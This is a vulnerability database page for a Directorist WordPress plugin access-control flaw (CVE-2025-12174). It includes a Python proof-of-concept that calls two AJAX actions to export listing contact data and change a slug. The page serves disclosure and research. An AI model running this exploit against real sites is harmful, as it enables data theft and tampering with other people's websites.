Security Vulnerability Report
中文
CVE-2025-12174 CVSS 6.5 MEDIUM

CVE-2025-12174

Published: 2025-11-19 06:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Directorist: AI-Powered Business Directory Plugin with Classified Ads Listings plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'directorist_prepare_listings_export_file' and 'directorist_type_slug_change' AJAX actions in all versions up to, and including, 8.5.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export listing details and change the directorist slug.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Directorist WordPress插件 <= 8.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urlencode # CVE-2025-12174 PoC - Directorist AJAX Authorization Bypass # Target: WordPress site with Directorist plugin <= 8.5.2 def exploit_ajax_bypass(target_url, auth_cookie): """ Exploit missing capability check on Directorist AJAX actions Requires valid WordPress authentication (subscriber level or higher) """ headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # Exploit 1: Export all listings (data exfiltration) export_data = { 'action': 'directorist_prepare_listings_export_file', 'directory_type': 'all', 'columns': 'title,description,email,phone,address,website' } print('[*] Attempting to export listings data...') resp = requests.post( f'{target_url}/wp-admin/admin-ajax.php', data=export_data, headers=headers ) if resp.status_code == 200 and 'file_url' in resp.text: print('[+] Successfully exported listings data!') print(resp.text) # Exploit 2: Change directorist slug (configuration tampering) slug_data = { 'action': 'directorist_type_slug_change', 'slug': 'malicious-slug', 'term_id': '1' } print('[*] Attempting to modify directorist slug...') resp = requests.post( f'{target_url}/wp-admin/admin-ajax.php', data=slug_data, headers=headers ) if resp.status_code == 200: print('[+] Slug modification request sent!') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <auth_cookie>') sys.exit(1) exploit_ajax_bypass(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12174", "sourceIdentifier": "[email protected]", "published": "2025-11-19T06:15:45.697", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Directorist: AI-Powered Business Directory Plugin with Classified Ads Listings plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'directorist_prepare_listings_export_file' and 'directorist_type_slug_change' AJAX actions in all versions up to, and including, 8.5.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export listing details and change the directorist slug."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3394856/directorist/tags/8.5.3/includes/classes/class-ajax-handler.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/796c0ded-3a23-4dd6-968a-a8e60bd8ea0e?source=cve", "source": "[email protected]"}]}}